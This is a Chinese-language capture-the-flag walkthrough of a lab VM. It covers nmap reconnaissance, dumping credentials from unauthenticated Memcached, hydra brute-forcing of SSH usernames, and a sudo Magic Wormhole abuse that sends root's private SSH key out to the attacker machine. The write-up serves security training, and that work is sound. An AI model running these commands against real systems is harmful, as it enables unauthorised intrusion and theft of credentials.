-
将两台虚拟机网络连接都改为NAT模式
-
攻击机上做namp局域网扫描发现靶机
nmap -sn 192.168.23.0/24
那么攻击机IP为192.168.23.128,靶场IP192.168.23.136

-
扫描服务器开放了哪些端口,有什么服务
nmap -sV -T4 -p- -A 192.168.23.136

1. 11211/tcp - Memcached 1.6.18 ------ 核心突破口
这是本次扫描中最值得关注 的端口。Memcached 通常用于缓存数据库查询以提高性能,但如果配置不当(默认配置),它往往没有身份验证机制。
- 风险点:如果该服务对公网或内网开放且未开启认证,攻击者可以直接读取缓存中的敏感数据(如 Session、API Key、数据库凭据)。
- 利用思路:
-
- 信息泄露 :使用
telnet或nc连接,通过stats items和stats cachedump命令遍历缓存内容。 - 拒绝服务 (DoS):Memcached 曾被用于发动大规模的 UDP 反射攻击(虽然此处显示的是 TCP,但其风险依然存在)。
- 命令注入/代码执行:如果 Web 应用(80端口)将序列化后的对象存储在 Memcached 中,攻击者可以通过修改缓存内容触发反序列化漏洞。
- 信息泄露 :使用
- 80/tcp - HTTP (Apache 2.4.65)
- 当前状态 :显示为
Apache2 Debian Default Page: It works。 - 分析 :这通常意味着 Web 服务器刚装好,或者真正的 Web 应用隐藏在非默认路径下(如
/admin、/v1等)。 - 下一步:
-
- 由于版本较新(2.4.65),直接利用 Web 服务器漏洞的可能性较低。
- 必须进行目录爆破 :使用
ffuf或dirsearch寻找隐藏的配置文件或管理后台。
3. 22/tcp - SSH (OpenSSH 9.2p1)
- 版本:OpenSSH 9.2p1 属于比较现代的安全版本。
- 分析:在没有凭据的情况下,暴力破解的效率极低且容易被锁定。
- 关联性 :如果能从 11211 (Memcached) 中获取到数据库密码或用户 Session,可能会在这里找到登录系统的凭据。
- 访问 80 端口开放的 http 服务

是一个默认网页,扫描其子目录
gobuster dir -e -u http://192.168.23.136/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

什么都没有
- Memcached是免费开源、高性能、分布式内存对象缓存系统,本质上是通用的,但旨在通过减轻数据库负载来加速动态 Web 应用程序。Memcached 是一个内存中的键值存储,用于存储来自数据库调用、API 调用或页面渲染结果的小块任意数据(字符串、对象)。
尝试直接使用 telnet 连接
telnet 192.168.23.136 11211

stats items
功能: 获取缓存项的分组统计信息,查看输出中的 STAT items:[ID]:number。Memcached 为了管理内存,会将数据根据大小存放在不同的 Slabs(石板/分区)中

-
items:1:这里的
1是 Slab ID。 -
number 1:表示在这个 Slab 分区里目前存储了 1 个 Key。
-
用途 :它是你的"地图",告诉你哪些分区里有数据。如果你看到某个 Slab 的
number大于 0,就说明那里有"货"可以取。stats cachedump 1 0
功能:列出指定 Slab 中所有的 Key(键名)。
这是渗透中最关键的一步。它的语法格式是:stats cachedump [Slab_ID] [Limit]
- 1:对应上面
stats items查到的 Slab ID。 - 0:表示列出的数量限制。
0代表列出该 Slab 下的所有 Key (某些版本可能需要输入一个很大的数字如100来替代)。
用途 :它就像 ls 命令,让你看到这个内存分区里到底存了哪些名字的变量。在上面的例子中,我们发现了一个名为 password 的 Key。
get password
功能:读取指定 Key 的真实数据。
当你通过上面的命令找到了感兴趣的键名(如 password)后,就可以直接提取它的值。
- password:你想查看的键(Key)。

成功能到密码NewPassword2025
-
不知道用户名,那就使用大字典爆破出用户
unzip /usr/share/wordlists/rockyou.txt.gz
hydra -t 64 -L /usr/share/seclists/Usernames/Names/names.txt -p NewPassword2025 ssh://192.168.23.136 -f

最后爆破出来用户名为 alan
ssh alan@192.168.23.136

登录成功
- 信息收集一下

因为拿到了密码,尝试 sudo 提权
sudo -l

允许通过 sudo 以 root 权限执行**/usr/bin/wormhole**
-
看看 wormhole 能做什么
wormhole --help

Magic Wormhole 本身是一个用于安全传输文件和数据的工具,但当你拥有 sudo 权限且无需密码(NOPASSWD)执行它时,它就变成了一个提权利器。**关键点在于:**攻击者可以以 Root 权限发送或接收任意文件,甚至可以利用它覆盖系统的关键配置文件。
尝试走私 root 用户的私钥
sudo /usr/bin/wormhole send /root/.ssh/id_rsa

kali 安装 wormhole,接收文件时候需要输入靶机生成的检验码4-warranty-ribcage
apt install magic-wormhole
wormhole receive

-
拿到 root 私钥后,赋予 600 权限,再直接登录靶机的 root 账号
chmod 600 id_rsa
ssh -i id_rsa root@192.168.23.136

成功得到 flag